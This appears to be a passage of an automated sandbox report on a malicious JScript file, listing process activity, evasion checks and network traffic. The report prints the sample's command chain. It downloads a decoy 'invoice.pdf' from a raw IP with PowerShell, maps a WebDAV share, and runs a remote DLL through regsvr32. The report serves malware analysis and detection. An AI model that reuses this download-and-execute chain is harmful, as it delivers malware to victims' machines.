Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8990.js.csv");ITextStream.WriteLine(" entry:8615 f:sstdlus");ITextStream.WriteLine(" exec:2 f:sstdlus");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49701

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5799			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3991			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1260	Thread sleep count: 5799 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1100	Thread sleep count: 3991 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2892	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3284	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3964	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7416	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000002.00000002.1289522536.00000218C3E92000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8b}\
Source: net.exe, 0000000A.00000002.1362772386.000001FB5F53C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000A.00000003.1360120667.000001FB5F53C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000A.00000002.1362270708.000001FB5F4D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.2587399538.000001FE97E54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.2586286358.000001FE96A29000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
